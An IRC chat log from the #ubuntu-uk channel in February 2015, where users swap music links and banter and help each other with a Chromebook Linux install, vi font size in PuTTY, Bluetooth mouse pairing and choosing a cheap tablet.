<popey> friend of mine was in the bathroom with zig and zag once
<davmor2> popey: https://www.youtube.com/watch?v=B32yjbCSVpU
<popey> they wanted people with strange phobias
<MartijnVdS> Laney: https://www.youtube.com/user/ZoggFromBetelgeuse
<popey> she pretended to be afraid of wooden spoons
<popey> and her friend was afraid of beards
<davmor2> Laney: Mr Blobby I think wins the most annoying earworm
<popey> naturally zig and zag put false beards on and waved spoons about
<daftykins> XD
<davmor2> popey: this is quiet earwormy https://www.youtube.com/watch?v=6Ejga4kJUts
<popey> did you know they filmed the zig and zag bits on separate days, in batches
<popey> and had to ensure chris wore the same shirt for continuity
<davmor2> popey: https://www.youtube.com/watch?v=LoQYw49saqc
<davmor2> popey: and finally https://www.youtube.com/watch?v=4KEEXyRL0qE
<popey> wow, i forgot they wore ski jackets
<daftykins> the other Cranberries stuff is ace :)
<knightwise> Dog loves to take food out of his bowl and to come eat it right next to me
<knightwise> cruncy sounds = driving me bonkers
<knightwise> its like an auditory ddos to my thinking process
<davmor2> knightwise: haha
<davmor2> popey: on top of that there is anything by Katy Perry, Lady Gaga, Beyonce, shakira (especially when ever where ever), tatu, Evanescence, Meggan whatever her name is (all about the base, lips are Movin' etc),
<davmor2> the list goes on and on
<davmor2> If I go back another 10 years however then you start with Prodigy and it goes down hill fast from there :)
<intrbiz> argh, the drone for the workmen's generator (replacing gas mains) is driving me nuts
<davmor2> popey: definitely finally https://www.youtube.com/watch?hl=en-GB&v=9bZkp7q19f0&gl=GB
<popey> Nope nope nope :)
<davmor2> https://www.youtube.com/watch?v=KQ6zr6kCPj8
<davmor2> just leave that there for popey
<davmor2> popey: not don't listen to this one https://www.youtube.com/watch?v=JRfuAukYTKg :D
<MooDoo> https://www.youtube.com/watch?v=OY-0nbmIZe4 just leave this one for you all too
<Greblus> Hi I'm gona need a hand in half an hour to get "HugeGreenBugs_Ubuntu_14.04_64bit_for_Acer_C720" setup for an C720P .. is anyone going to be around ?
<diddledan> err..
<Greblus> Just need a hand with the partitions on the USB. at installation options (please).
<daftykins> ugh another chromebook buyer
<daftykins> Greblus: there are roughly a billion guides online
<davmor2> popey: and of course https://www.youtube.com/watch?v=PWgvGjAhvIw
<knightwise> Greblus: are you going to use crouton or dual boot ?
<knightwise> daftykins: be nice :) Its just another linux user like us
<diddledan> knightwise, "one of us"
<zmoylan-pi> there are no other linux users like daftykins :-P
<knightwise> lol
<knightwise> Greblus: i would make the suggestion to use crouton if you are quite new to the whole thing. It makes for a good system for hardware compatibility
<diddledan> lol, windows has a "god mode"? http://winsupersite.com/windows-10/enabling-godmode-windows-10
<diddledan> it looks to be just an aggregation of every accessible setting from the control panel into a single list
<Greblus> knightwise, Saw your podcast recently, It must have been a second attempt at the chromebook podcast, I think.Well done  I shall be with you once I've uploaded where I am upto on imgur .. hold tight (10-15,minutes possibly). Thanks for your help so far.
<diddledan> knightwise has a podcast?
<diddledan> knightwise, are you holding out on me?!
<knightwise> Greblus: thanx :)
<knightwise> check the website for during that week we have done "chromebook week" with quite a few posts on how to get it all working
<knightwise> diddledan: you didn"'t know ? i've been podcasting for over 8 years
<knightwise> www.knightwise.com
 * diddledan subscribes
<knightwise> you can check out the live recordings over at www.knightwise.com/youtube
<Greblus> knightwise is very wise on ubuntu Macbookair's. +1
<knightwise> lol :) Thanx Greblus :)
<knightwise> i make a sport out of installing ubunt on things that arent supposed to run it in the first place :)
 * knightwise is now running 14.04 on his surface pro 1
<Greblus> OK, I'm still uploading to imgur  may tae a while.
<Greblus> I can go get the powerlead to the chromebook.. while tha's happening.
<Greblus> **that's
<knightwise> Greblus: should you do the install with crouton , remember to add the -x11 and -audio switches to the installer
<Greblus> knightwise, I've uploaded here's my question:
<Greblus> OK so I have five lines of messages so please don't put me down by saying I'm flooding: it's complicated at best.
<Greblus> Ok .. so here's what I want to do: Vox http://bit.ly/vocaroo_VOX1
<Greblus> Here's partly the instructions I used: http://bit.ly/17NeiN0
<Greblus> note, PLEASE don't just say install crouton as I bought this laptop to try the hugegreenbugs distro purposely for that reason only.
<Greblus> Here's the album of where I am upto:   http://bit.ly/HGBugs_Installation_Album
<Greblus> Apologies for the amount of partition on the HDD-itself, I wiped ChromeOS by putting Ubuntu on the HDD instead of the USB last time.
<Greblus> Just need to know how to get it onto the USB drive. Which partition should I use according to the photographs in the album ?
<Greblus> phew .. now the pain of an answer .. :)
<knightwise> holdon , i'm looking through the links
<knightwise> ok .. thats not an easy one :)
<knightwise> I've done the crouton ones so i'm not sure how to do the repartitioning , but lets see what i can find
<Greblus> right as you can tell, I'm a very patient person, these days.
<knightwise> here is a post about what the partitioning looks like for a different os : http://chromeos-cr48.blogspot.be/2012/12/so-you-want-chrubuntu-on-external-drive.html
<knightwise> so this one will tell you where the different partitions are
<knightwise> after installing everything (including grub) to the bootloader , you should press ctrl-U after you power on the machine to choose between the boot devices
<Greblus> knightwse, I can pretty much see I have two options..
<Greblus> 1, use a separate external memory card, which I can d no problem, I guess (but only 32gb) , or two..
<Greblus> 2, secondly, Someone can tell me how to install the OS to the USB that I am installing from on the side of the chromebook,, i.e. which external partition option ?  perhaps I'm missing something as I purposely bought the Kinston 64GB to use as and extrnal USB Ubuntu stick, . Am I wrong in that respect ?
<knightwise> There is a third option
<Greblus> you see , I dren't muck this up a second time.
<Greblus> *daren't
<knightwise> install the OS to your USB stick as a live system and make it persistent
<Greblus> That's exactly what I'm trying to do.
<knightwise> that way you run it off the usb stick ...; and don't have to bother to install it TO the usb stick
<Greblus> How do I do that on windows ?
<knightwise> you have the iso of the distro right ?
<Greblus> (my second machine).
<Greblus> yes.
<knightwise> unetbootin !
<Greblus> that doesn't work .. only Win32 Drisk Imager.
<Greblus> *Disk Imager
<Greblus> (I've ried twice).
<Greblus> *Tried.
<knightwise> win32diskimager should be able to do the trick ?
<knightwise> what distro do you want to use ?
<Greblus> but it just loads to the install option .. not the full installation, I think .. or am I missing something .. perhaps another look at my albumn , no ?
<knightwise> what distro are you installing ?
<Greblus> https://www.distroshare.com/distros/get/12/
<knightwise> Ok,
<Greblus> ( that is , it's custom esigned for my machine).
<Greblus> *designed ..
<knightwise> I think that hugh is the man to turn too for this one. have you asked a question in the comments tab ?
<knightwise> Hugh gets back to you pretty quick
<knightwise> he"s been on a podnutz show not too long ago so I think that Doortodoorgeek can get you in touch
<Greblus> I've tried to contact him on reddit .. no answer .. I guess this is going to take a week or so , then ?
<knightwise> the trick is youre doing the install from one external medium to the other
<Greblus> .. what's another week after waiting four months to get to this stage? , sigh. Oh wait...
<Greblus> "one external medium to another" should I just plug in another USB then ?
<knightwise> where are your installer files .. on a usb stick ?
<Greblus> yes.. the kignston 64GB .. so I can't install to the actual 'install-device' then ?
<knightwise> and you are trying to install them to another usb stick i presume
<knightwise> that is making things very complicated
<knightwise> install the files on one usb disk and install them to a second usb stick
<Greblus> I just used one USB basically,
<knightwise> aha
<knightwise> and you want to install from and to the same stick ?
<Greblus> I need two, right ?
<knightwise> thats making it very hard on yourself
<knightwise> you need to
<knightwise> one souce
<knightwise> source
<knightwise> one destination
<Greblus> got it.
 * Greblus opens champagne.
<knightwise> and follow the distrowatch tutorial but instead of installing to the chromebooks ssd drive install to the second usb disk
<knightwise> you're not there yet but this is going to make it a lot easier on you
<Greblus> right, I shall leave it for now , I need a cigarillio (rolled tobac). .. lets give it a rest for 5 minutes, shall we ?
<knightwise> ok, give it a try , think it through and if you need me send me a PM
<knightwise> if i don't respond i'll be recording this weeks podcast
<Greblus> OK, I'll try that cheersknightwise :)
<davmor2> popey: 10 pancakes later I think I'm done :)
<diddledan> pancakes?!
<zmoylan-pi> tis pancake tuesday, did you not see all the lemons and pancake mix everywhere?
<diddledan> I ignored them :-p
<popey> haha davmor2
#ubuntu-uk 2015-02-18
<mapp> hi all
<MartijnVdS> http://www.commitstrip.com/en/2015/02/17/have-you-tried-turning-it-off-and-on-again/
<MooDoo> morning all
<JamesTait> Good morning all; happy Pluto Discovery Day! :-D
<shauno> poor pluto :(
<MooDoo> morning
<brobostigon> morning boys and girls.
<MooDoo> morning
<zmoylan-pi> pluto had it coming... :-)
<brobostigon> morning
<brobostigon> lol.
<davmor2> JamesTait: <best_Mickey_Mouse_impression> "Hey Pluto, here boy!"</best_Mickey_Mouse_impression>
<zmoylan-pi> still a less embarrassing name than uranus
<SuperEngineer> ...unless you're a plutocrat of course ;)
<zmoylan-pi> i won't hold my breath that i would ever rise so far
<rtyui> hi
<rtyui> anyone using vi as texteditor ?
<davmor2> rtyui: I use vim
<diplo> Yep
<diddledan> emacs is better *duck*
<awilkins> Yeah, but vim is better *chicken*
<rtyui> well, well sounds good
<bashrc> emacs here
<rtyui> my question is how to make a zoom on vi ?
<diddledan> err.
<awilkins> Change the font to a larger point size
<awilkins> If it's vi-on-a-terminal you'll have to change the terminal font
<rtyui> i m expecting such as a combinaison of key to make it possible
<rtyui> without changint the terminal font
<awilkins> It isn't possible without changing the terminal font. vi is not a GUI text editor - it doesn't have any font rendering ability of it's own
<davmor2> rtyui: vim/vi font size is the terminal apps font and size
<rtyui> well still not got my answer
<rtyui> i m expecting such as a combinaison of key to make it possible
<rtyui> and also to connect on ubuntu server i m using putty
<zmoylan-pi> it isn't possible rtyui
<intrbiz> rtyui: vi operates purely in a text domain, it has no concept of what a font is or its size
<davmor2> rtyui: you got your answer.  You can't you need to change the terminal font size,  vi/vim are a terminal app so it uses the font and font size of the terminal, so you need to change the font size in the terminal
<awilkins> If your terminal is putty, it's pretty easy to tell it to render in a larger font
<intrbiz> rtyui: it in the terminal emulator which is rendering the text using a font, In putty you can change the font size under: window -> appearance
<rtyui> OK now i got it
<rtyui> but it not pratical to do so, each time we need to change the font size temporarely
<rtyui> on my firefox i m using ctrl + keys to make the size modifie temporarely then ctrl - to  back to previous mode
<rtyui> i would like to do so with vi*
<diplo> Well you can't, Firefox is a GUI app, vi is a terminal app. You could use a IDE if you prefer like Geany/Gedit etc
<rtyui> well, it's all complicate
<bigcalm> Good morning peeps :)
<intrbiz> morning
<davmor2> bigcalm: morning muppet
<bigcalm> Ug
<popey> \o/ ug
<zmoylan-pi> ug, the standard request of caffine deprived mammals for coffee
<bigcalm> We now have at least 11 confirmed RAT attendees this year :)
<bigcalm> popey: Can I suggest that you frame your RAT ticket and hang it on your office wall :)
<popey> it hasn't arrived yet, so that will be hard
<bigcalm> popey: quite true. I pondered adding that as a clarification point, but wanted some extra banter
 * bigcalm is lonely
<popey> awww
<bigcalm> Cross referencing data between 2 databases on 2 different client servers. I want to lie down
<bigcalm> davmor2: adpole?
<davmor2> bigcalm: look at the letter Ad choose
<bigcalm> t?
<bigcalm> Oh
<bigcalm> Ug
<intrbiz> bigcalm: in the office or at home today?
<bigcalm> At home today
<bigcalm> In the office tomorrow as I'll be going to the rebellion in the evening
<bigcalm> Tweet from BQ - "We are having a sale tomorrow at 9am (CET) at our site bq.com/gb/ubuntu.html"
<bigcalm> Attempt #3 at 8am tomorrow then
<intrbiz> bigcalm: really desperate for a UP then?
<bigcalm> intrbiz: desperate is the wrong term. Eager maybe
<bigcalm> I want the shiny toy
<intrbiz> ah ok
<bigcalm> And hope that it doesn't end up like the palm pre ;)
<intrbiz> hehe
<intrbiz> it's interesting, that there are now 3 platforms along a similar approach to WebOs
<stevepdp> evening all
<popey> hello
<brobostigon> quiz night tmrw, :)
<bigcalm> Busy afternoons
<popey> yes!
<davmor2> bigcalm: not that you'd notice
<bigcalm> davmor2: humm?
<bigcalm> davmor2: I'm still at home working. Hoping to leave soon for the LUG
<SuperEngineer> bigcalm, that's the strangest spelling of PUB I've ever seen ;)
<davmor2> SuperEngineer: it means Pub with like minded geeks in it
<SuperEngineer> :)
<SuperEngineer> ...not to mention a couple of like-minded pints!
<bigcalm> I'm no good to myself, as I get the laptop out and carry on working at the LUG
<brobostigon> if you happen to be in north oxfordshire tmrw night, :)
<diddledan> evenink
<davmor2> diddledan: what you printing on that lithograph that you need such even ink ;)
<diddledan> :-p
 * czajkowski hugs davmor2 
<davmor2> czajkowski: put me down I don't know where you've been ;) How's you
<diddledan> davmor2, where've you been?
<diddledan> davmor2, obviously once you've told me I'm going to hug you! :-p
<diddledan> </threat>
<davmor2> diddledan: behind my desk
 * diddledan hugs davmor2 
<davmor2> diddledan: czajkowski goes out through the door and all sorts though
<diddledan> oh golly gosh
<diddledan> that's skeery stuff
<diddledan> czajkowski, are you one of those.. mythic.. you know.. normal people?
<diddledan> I say pitchforks are required
<davmor2> diddledan: I've met czajkowski my money is on you wearing the pitchfork ;)
<diddledan> teehee
<diddledan> does my bum look big in this?
<czajkowski> :o
<czajkowski> davmor2: oi now be nice
<czajkowski> davmor2: if you lived close you could be joining my co working house day :)
<davmor2> czajkowski: no I wouldn't you would run out of power points too quickly
<diddledan> my work area, read: the place I spend most of my waking hours when at home, has a decided lack of those power points - it only has about 20ish
<diddledan> maybe 30ish?
<diddledan> whatever, it's not enough
<diddledan> I really need to tidy the cables
<diddledan> birds' nest is an understatement
<czajkowski> davmor2: no it's usually my access point that has the issues :/
<czajkowski> but there were 3 of us last week and lots of gadgets
<shauno> uff, why does scp have to be awkward
<shauno> ssh wants -p port, scp wants -P port.  ssh wants uesr@v6:ad:dr:ess, scp wants user@[v6:ad:dr:ess] .. it's hard to believe they're related sometimes
<zmoylan-pi> 2 relatives with completely opposing ways of doing things... yet you say you're in ireland... :-)
<shauno> heh
<shauno> if you mean what I think you do, the uk & ireland don't have opposing ways of doing things
<shauno> they do things exactly the same way, and still fight over who's right
<zmoylan-pi> no no i meant 2 irish people from same family :-D
<shauno> ah.  I don't know many irish people :)
<shauno> I've only been here 8 years, so most people I know are polish & romanian
<diddledan> does ireland actually have any irish left?
<zmoylan-pi> lots
<zmoylan-pi> we're exporting irish people again
<diddledan> hmm, I figured they had all left for the new world
<shauno> I'm pretty convinced galway doesn't.  they're all either hiding in mayo poking the bog with sticks.  or working in australia/canada
<zmoylan-pi> the celtic tiger brought lots of foreigners here but they seem to be leaving now
<shauno> it's a big part of why I love this city.  no-one cares that you're an immigrant, you've probably been here longer than them :)
<zmoylan-pi> probably the weather
<zmoylan-pi> well since we liberated it from the indians we've been much more tolerant /fr ted reference
<shauno> http://connachttribune.ie/one-in-four-city-people-born-outside-ireland/
<zmoylan-pi> galway is a gathering spot for american tourists who want to live in ireland a few years.
<shauno> seem's like a sensible enough choice :)
<shauno> given that limmerick is scary, dublin is .. well, dublin.  and the PRC may as well be a different country.
<diddledan> people's republic of china?
<diddledan> is that not already a different country?
<zmoylan-pi> they prc wishes it were.  but would settle for been the capital of the island
<zmoylan-pi> peoples republic of cork.  cork is a strange town
<zmoylan-pi> we have the phrase more irish than the irish themselves for immigrants who live here a few years.  cork is more irish than the irish.  see statutes of kilkenny
#ubuntu-uk 2015-02-19
<mapp> hi all
<zmoylan-pi> \o
<knightwise> morning peeps
<MooDoo> morning all
<knightwise> hey MooDoo
<mapp> morning MooDoo  knightwise
<MooDoo> :)
<knightwise> hey MooDoo
<knightwise> mapp:
<mapp> good weather today kids?:)
<mapp> 14c here in gib:D
<knightwise> Belguim sunny but chilly
<SuperMatt> morning all
<knightwise> hey SuperMatt $
<brobostigon> morning boys and girls.
<awilkins> Oh dear, Lenovo Superfish
<knightwise> brilliant
<knightwise> this is whY i wipe - reinstall anyu pc that comes into this house
<awilkins> Yeah
<knightwise> hmm
<knightwise> starting to count the number of hours spent behind a computer these days
<knightwise> with consulting job, own company and the podcast its starting to add up
<bashrc> what's your podcast?
<bashrc> was discussing Lenovo elsewhere. Why is there not a choice of operating systems on new computers, or the ability to obtain them without an operating system?
<awilkins> Because the market for that is tiny
<JamesTait> Good morning all; happy Chocolate Mint Day! :-D
<knightwise> bashrc: www.knightwise.com
<knightwise> hacks tips and tweaks for cross platform geeks
<shauno> I don't wipe new machines.  I just pull the drive and stash it
<awilkins> I dd | tar-ed a backup of the drive image on my current one
<awilkins> Was supplied by work
<shauno> if it ever needs to go back for warranty service, it can go back with the original install, not my data.  and gives me a wonderfully paranoid excuse to SSD All The Things
<awilkins> But it was a naked vanilla factory install
<awilkins> True ; this one had a 32GB mSATA SSD and 750GB of spinny rust
<awilkins> So I went best-of-both and did the bcache thing on it
<awilkins> knightwise : GTD!
<bashrc> shauno: sounds like a good strategy
<awilkins> knightwise, Yet to find a solution for GTD... was thinking maybe of adding a tickler plugin to Redmine
<knightwise> redmine ?
<awilkins> knightwise, it's a ticket tracker / wiki  software forge thing written in Ruby on Rails
<awilkins> knightwise, I tried "Tracks" (getontracks.org)
<knightwise> Cool
<awilkins> But I've used Redmine a lot
<knightwise> As you might notice in the podcast , my gtd system is very simple
<awilkins> They both run quite sufficiently well on a RasPi
<awilkins> Just listening to the ranting about geolocation :-)
<knightwise> who's ranting ?
<awilkins> You're right... I've thought about writing a "Context" plugin for Chrome to do GTD with
<awilkins> Well, not ranting, observing
<knightwise> ah me ranting/observing :Ã )
<knightwise> you should listen to the cyber zen episde. according to listeners I go into a "classic knightwise rant"
<awilkins> I think a context plugin would actually be useful
<awilkins> If it just added an X-Context header to HTTP, you could use it to drive your task list based on location / what you're doing / etc
<knightwise> true
<awilkins> Although I suppose it's just a substitute for the mental habit of remembering to check your task list
<knightwise> shauno: I have the same approach. if they dont come with an ssd i shove one in . That way I have the original drive for when I want toe sell off the machine
<awilkins> knightwise, On the face of it, with the "knowledge" aspect you're talking about a ticket tracker / wiki sounds ideal for the purpose
<knightwise> agreed ,but it has to also be available on my phone
<awilkins> Offline?
<knightwise> yep
<knightwise> im abroad sometimes
<knightwise> no wifi
<knightwise> i mean no 3g
<shauno> see, you're solving the wrong problem :)  we need to beg the EU to hurry up with nuking roaming fees
<popey> bigcalm: ticket arrived
<knightwise> ill go smooch up nelie smit croes
<popey> bigcalm: ticket now on wall of office
<knightwise> mm need new travel mouse
<knightwise> prods popey to fix bluetooth paring with Apple magic mice
<awilkins> I had a nice BT one
<popey> Ok then.
<awilkins> What's with the magic mouse? "Hey dog, I heard you liked mice, so I put a mouse on your mouse so you can mouse on your mouse."
<knightwise> awilkins: https://www.apple.com/magicmouse/
<awilkins> Do they do it in charcoal grey?  ;-P
<popey> s/charcoal/space/
<awilkins> http://www.colorware.com/p-198-magic-mouse.aspx
<awilkins> You can get one colourised for an extra $40 from a third party
<bashrc> I think I prefer mice with real mechanical buttons
<shauno> ooooooh
<awilkins> Graphite / matte seems to be the mouse I'd like
<awilkins> My desktop already has a military green Corsair mouse though
<popey> I prefer my mouse to be a nipple, in the middle of the keyboard
<knightwise> the so called keyboard-clitoris
<shauno> well that's just wrong
<awilkins> Not fond of the clitmouse
<shauno> it's difficult enough to find my cordless mouse :|
<popey> its funny watching people try to use my laptop
<popey> they go for the touch pad (which is disabled)
<davmor2> popey: I'd just enable it :P
<shauno> I'd prefer it if pc mffrs just had usable trackpads
<awilkins> There's a wee button on mine to disable it but the Linux driver doesn't support it
<awilkins> Trackpads got much better
<awilkins> Most of them are multitouch now
<awilkins> The thing they mostly need is better wrist fumble filtering
<shauno> it's just one thing where apple have spoiled me
<shauno> they have no idea how to make mice. basically because they hate buttons, which is 50% of a mouse's job.  but their trackpads are awesome
<popey> yeah, the mbp trackpads are great in osx
<knightwise> hmm pairing a magic mouse doesnt work :(
<knightwise> i can pair it , it says its connected buyt ...nothing happens
<davmor2> knightwise: you're not pressing hard enough
<davmor2> knightwise: don't know if this helps https://wiki.ubuntu.com/Multitouch/AppleMagicMouse
<shauno> yummy, docs from 10.10
<knightwise> nope , nor does installing blueman
<knightwise> it sees the mouse , it identifies the mouse (even with the name I gave it in OSX) it pairs but
<knightwise> pointer no move
<knightwise> oh wait
<knightwise> i bleutooth manager i had to enter the pin
<knightwise> Looks like its working
<knightwise> lets see how good she handles a reboot
<knightwise> ok ,  ,microsoft surface with Ubuntu on it and an Apple mouse :) #sliders !Ã¨
<shauno> that really does sound like an unholy combination :)
<davmor2> shauno: no it is a perfect example of how awesome Linux is :)  It just doesn't care where you hardware is from :D
<davmor2> JamesTait: Oh man don't tell me that Mint has gone down the same path as Android and started naming it's products after Sweets
<awilkins> Should name releases after cocktails with mint in
<shauno> "Mint 6.0 ah just one more"
<bigcalm> Good morning peeps :)
<bigcalm> popey: good lad ;)
<davmor2> bigcalm: did you get a phone in the end?
<popey> seems the ones on sale are the black ones?
<popey> not white?
<bigcalm> davmor2: I did
<bigcalm> davmor2: I was trying at 8am today and got a constant 404 from the store page
<zmoylan-pi> i used to like black computer hardware, phones and pdas.  till i stepped on my psion organiser at night with the lights out :-/
<bigcalm> davmor2: Got to work and at 9.30am I thought I'd have a gander. It was back in stock and I was able to buy it without problem
<zmoylan-pi> and i dropped my black maglight in a server room in a basement when the lights blew
<bigcalm> davmor2: and it's still available to buy: http://www.bq.com/gb/ubuntu.html
<bigcalm> I wonder why
<bigcalm> Humm, ctrl-w with the wrong window in focus
<knightwise> shauno: unholy is my middle name :p
<popey> i quite like the black macbook laptops
<knightwise> those are pretty oldschool bij now
<knightwise> by now
<popey> yeah
<knightwise> My wife hates them. Says macs should be white
<popey> one of our designers still has one
<shauno> I wanted a blackbook.  the white ones don't age well
<knightwise> shauno: agreed.
 * knightwise has a white chromebook. Its a tad girly for me
 * popey wants a powerpc macbook
<knightwise> popey: one of those facy ibooks ? (first generatiojn  ?Ã )
<popey> G4
<knightwise>  ibook or powerbook ?
<zmoylan-pi> you could butch up the chromebook with a few pics of unicorns and rainbows on it? :-P
<shauno> the 12" powerbook was kinda special.  but I'm not sure I could actually use one now
<knightwise> zmoylan-pi: i have a giant transformer sticker on it
<zmoylan-pi> my first dabble in mac was an obsolete pink imac i got second hand.  i thought pink was great as it made it less of a target for thieves :-)
<knightwise> shauno: i had a 12 inch ibook as my first mac
<knightwise> loved it ... thinking back fondly to those days
<popey> knightwise: the white ones
<knightwise> popey: ibooks
<popey> ya
<knightwise> https://www.flickr.com/photos/isriya/3490083/in/photolist-3fRbE-ecmAY-diu5ox-3RWzJ-88Abaw-NxYFv-iTtR-diu3qW-azxKvu-aDMhh-eeMwa-qae1-csikT-6rcKQ-91jrux-arMDo-8R8i3-7kpg7-2UP8j-4gnvov-Hn7zV-8Wwc2V-49JQB-7dBa3-htBuK-eeMxM-3Q3yk-k8av6-bnwntq-dSgXR-JizQ-5i9pB-8Z2SL8-3XPVZ-ckNMY-WyPb-6RVZb-69SST-4wfaXe-biwKt2-2TTQt-3Kvsgh-gV4Bs-3L1Hd-3cvDkd-34fLxF-a39K8-7TV6S-yn6V-diu3C3
 * popey squints
<zmoylan-pi> i think it's an enigma code :-)
<knightwise> LOL
<knightwise> get it to bletchly
 * zmoylan-pi prepares the pigeons to rfc1149...
<knightwise> mpsyt is tha chizzle when it comes to downloading music from youtube :)
<knightwise> great little command line app
<zmoylan-pi> i just use a browser extension
<foobarry> hi kids
<popey> hello
<foobarry> hi popey
<zmoylan-pi> greetings mammals
<foobarry> came looking for advice about getting a new tablet...
<foobarry> thinking maybe 7 or 8 inch cos i'm a tightwad
<zmoylan-pi> any paracetomol will do :-)
<foobarry> any recommendations?
<zmoylan-pi> argos have a bunch of cheap and cheerful.  i got a 7" asus memopad.  great little device.  gps is it's biggest irritation as it takes a while to lock on
<awilkins> Dunno, anything that Cyanogenmod will go on?
<foobarry> http://www.argos.co.uk/static/Product/partNumber/2449274.htm
 * awilkins has a Nexus 7 1.0
<foobarry> hard to know what's recent and what's ancient
<awilkins> Not exactly "tightwad" but solid, functional, and happily running vanilla Lollipop
<foobarry> which is the most recent nexus 7?
<knightwise>  what os are you looking for foobarry
<foobarry> android innit, also ARM chips preferred
<zmoylan-pi> that's a newer version than mine.  i got that and a case that fits percisely instead of the usual lose generic cases
<knightwise> the most recent nexus  is the 2013 2.0 version
<foobarry> sounds like we are due another one soon?
<knightwise> Nexus 9 is a very pretty machine , Galaxy Tab 4 also not bad
<foobarry> galaxy tab 4 10.1 is how old knightwise
<foobarry> ?
<foobarry> nexus 9 is Â£Â£Â£
<davmor2> foobarry: the tesco one is nice I forget it's name now, me looks over to popey for inspiration, I don't know about the CyanogenMod for it though
<knightwise> sorry , galaxy tab S
 * brobostigon wouldnt go for a samsung, touchwiz sucks donkeys balls, 
<foobarry> hudl2
<davmor2> that's the one
<knightwise> brobostigon: agreed but they have a glorious screen
<foobarry> re hudl i fear i may be needing a new one after a year though
<foobarry> doesn't sound like many have come out recently
<brobostigon> knightwise: that maybe, unless it a samsung, i can stick aosp on, that i would be open to, touchwiz would be replaced very quickly.
<knightwise> true
<popey> i do still like my hudl2
<popey> and for 50 quid, not bad
<zmoylan-pi> i hoped that tescos would bring the hudl to ireland but haven't seen one instore yet
<foobarry> hudl2 Â£129.00
<davmor2> popey: I paid full whack for mine and I'm still more than happy, my only complaint would be battery life
<popey> yeah, mine is mostly on charge on my desk
<foobarry> = Â£65 of vouchers
<foobarry> how long roughly in general use?
<foobarry> 8.3 is a nice size
<popey> 9 hours
<foobarry> and fits the tightwad category
<popey> which I have only ever hit when on a flight
<foobarry> no intel chip issues?
 * brobostigon is very happy with his nexus7 8gb, and nexus4 16gb.
<popey> no
<foobarry> i guess no lollipops for you though
<popey> no, which is no bad thing
<popey> lollipop aint all that
<foobarry> Available Gift Certificate Balance: Â£154.81
<foobarry> amazon is a factor though ^^
<foobarry> might go and look at the hudl in person
<popey> the nexus 7 2013 is quite nice
<knightwise> true , had mine for quite some time enjoyed it
<knightwise> foobarry: take a look at the huawei tabs , they also have some nice models with good screens
<foobarry> will do
<zmoylan-pi> huawei make some seriously cheap well specced hardware
<zmoylan-pi> got my brother a cheap huawei when he broke his phone.  was impressed
<foobarry> why is hudl so cheap?
<davmor2> foobarry: tesco buying in bulk and a million other factors probably
<foobarry> popey: ever feels sluggish and slow?
<zmoylan-pi> i'm guessing bulk orders, and canny at bargaining suppliers
<knightwise> hmmm
<davmor2> foobarry: nope it is faster than my xoom ever was and loads apps faster than the nexus 7 apps run at the similar speed
<knightwise> browsing around for ideas how to decorate the new company office
<knightwise> we are freeing up a room in the house for the office
<popey> foobarry: what?
<knightwise> has to be nice since we might receive clients for meetings
<popey> the hudl2?
<foobarry> yep
<popey> not really, no
<popey> its the fastest tablet i own
<zmoylan-pi> how many tablets do you own?
<popey> 5
 * zmoylan-pi would make a joke but looks to stack of 8 mobile phones sitting on shelf
<popey> yeah, lots of phones too
<foobarry> popey is doing a good job of selling hudl2 atm
 * popey shrugs
<popey> its a power hog, you can't really charge it off a laptop unless it's off
<zmoylan-pi> well he had a coupon :-)
<popey> and if you're playing video while it's charging then sometimes it won't charge
<zmoylan-pi> ooooh, that would be a dealbreaker to me as i watch a lot of videos on mine
<foobarry> i get that on my touchpad
<foobarry> which is decrepid now
<foobarry> also, while i'm here, does anyone receommend burglar alarms please?
<zmoylan-pi> go with a company that provides monitoring, otherwise it's box that makes noise that everyone ignores
<foobarry> that is also Â£Â£
<popey> if you use the official charger it's fine
<davmor2> zmoylan-pi: when it says it isn't charging it is because the power out matches the power in, so for me if I'm on 50% and have it plugged in and watch a fullscreen video on it at the end of the video it is 51%
<popey> but mine is often plugged into something else
<popey> yeah
<popey> same
<davmor2> foobarry: the other thing as well with the hudl2 is it takes an age to fully charge, it is almost like it trickle charges the battery to keep it in top form which is good an bad :)  but the tablet itself is light, the screen is great, wifi is good and has 2.4 and 5Ghz support and the price means you really can't crumble about it :)
<popey> yeah
<foobarry> someone say apple crumble?
<davmor2> oh and the speakers are fantastic
<foobarry> thanks for advice guys
<davmor2> grumble :P
<foobarry> i will go and inspect physically
<popey> wise
<foobarry> which means i should cancel amazon vouchers for bday
<davmor2> foobarry: no buy lego with the amazon vouchers ;)
<popey> heh
<popey> wise!
<foobarry> vouchers to spend now at tesco: Â£127.50
<zmoylan-pi> and sprinkle on floor till you get a burglar alarm :-D
<foobarry> that means i can buy a new shaver at amazon
<davmor2> foobarry: pffff look at you being all sensible
<zmoylan-pi> buy a cut throat razor, they can last a lifetime :-)
<foobarry> also, wired or wireless buglar alarm?
<davmor2> zmoylan-pi: yeah that's cause you cut your throat with it the first time you use it it's never used again and you're dead ;)
<foobarry> razors chafe a bit
<zmoylan-pi> you will be awake after you shave with a cut throat.
<awilkins> I like the latest generation of vibrating multi-blade safety razors
<awilkins> Comfy and a close shave
<awilkins> The blades last over 6 months for me so they're not that expensive
<awilkins> When I had an electric it dropped dead because of the rubbish NiCd battery
<awilkins> With these you can just shove a new AAA in the handle
<foobarry> had my remington for years
<foobarry> popey: which case did u get
<foobarry> for hudl2
<popey> none
<popey> i dont have cases on anything
<popey> except ipad 1
<davmor2> popey: and n4?
<davmor2> foobarry: you don't really need one, it is really nice handling I found at least
<zmoylan-pi> i'd put a case on my nokia dumbphone but the rest of the planet will just have to risk damage if it hits it :-)
<foobarry> the leath case looks nice
<foobarry> also 1/3 off = Â£16
<foobarry> = Â£8 with vouchers
<popey> davmor2: none
<popey> i like the way the hudl2 feels in the hand
<davmor2> popey: +1 on the hudl2 but man you are brave with the n4 and no case, It's the only device I have with a case admittedly
<popey> heh
<popey> yeah, i broke it once
<foobarry> i have a lovely flip case with my moto g
<foobarry> you remove the old back and put a new back on
<popey> mind you, I'll get a cover with the bq I guess
<foobarry> didn't want the meizu ?
<popey> the meizu isn't out yet
<popey> but I have one on the way
<davmor2> foobarry: it's the first phone he'll want it for posterity is nothing else
<popey> a bit yeah :)
<foobarry> heh
<foobarry> forgot to eat lunch
 * zmoylan-pi offers foobarry a penguin bar
<foobarry> just queued with over 100ppl in sainsburys. a low point in my life
<knightwise> we weep for you
<foobarry> i turn 40 in 9 days
<foobarry> that wasn't on my list
<knightwise> foobarry: 40 is ok
<foobarry> it is ?
<knightwise> yep
<knightwise> been there for a couple of months , you'll survive
 * knightwise is off to the wonderful world of conference calls for the next hout
<knightwise> r
